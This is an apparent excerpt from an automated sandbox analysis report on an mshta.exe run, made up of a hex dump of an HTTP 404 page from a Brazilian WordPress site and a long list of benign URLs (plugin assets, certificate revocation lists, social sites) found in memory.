74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 07:50:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 19206036Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.drString found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.drString found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1172244597.0000000004D20000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: //player.vimeo.com/video/%id%?autoplay=1//www.youtube.com/embed/%id%?autoplay=1 equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1170487097.00000000048C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1054581152.00000000048C6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1054537138.00000000048C4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1054629736.00000000048C7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: //www.youtube.com/embed//player?autoplay=true<div class="owl-video-frame" />?autoplay=1&rel=0&v=owl-video-playing//player.vimeo.com/video/ equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://brandonaaron.net)
Source: mshta.exe, 00000008.00000002.1174340192.0000000006560000.00000004.00000020.00020000.00000000.sdmp, swfobject[1].js.8.drString found in binary or memory: http://code.google.com/p/swfobject/
Source: font-awesome[1].css.8.drString found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: animate-logo[1].css.8.drString found in binary or memory: http://daneden.me/animate
Source: jquery.magnific-popup.min[1].js.8.drString found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: mshta.exe, 00000008.00000003.1014418092.0000000008FAF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.989197420.0000000008FAF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1179216544.0000000008FAE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1175590048.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/
Source: mshta.exe, 00000008.00000002.1175590048.00000000066D4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/5%
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/a
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/a;
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20&
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20;
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.200C;
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20=0.9.3
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20)O
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.2020
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20.
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20F
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20c
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)3b?t
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)?b?t
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.00.6
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.00E)mv
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0ET4.0E)am
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0k
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0ted
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)C
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.00C;
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.04.0E)n
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0C:
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0S
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0ery(documI
Source: mshta.exe, 00000008.00000002.1167297662.0000000003322000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0http://facextr
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0ll.min.js?ver=
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6a
Source: mshta.exe, 00000008.00000002.1167297662.0000000003322000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6htt
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1167297662.0000000003322000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1&
Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.10?
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1c
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo
Source: mshta.exe, 00000008.00000002.1174551534.00000000065D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3=
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3F
Source: mshta.exe, 00000008.00000003.1052700016.0000000004873000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170174262.0000000004877000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1052770602.0000000004874000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1052805591.0000000004876000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3j
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3mes/Che
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3&
Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3.NET4.0E
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3/
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.30E)
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.37
Source: mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3C:
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3ET4.0E)rC
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3N_
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3angu
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png/
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png5
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngs/bootstrap.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png5501425981.pngn.js.3.0
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.204.0E);c?t
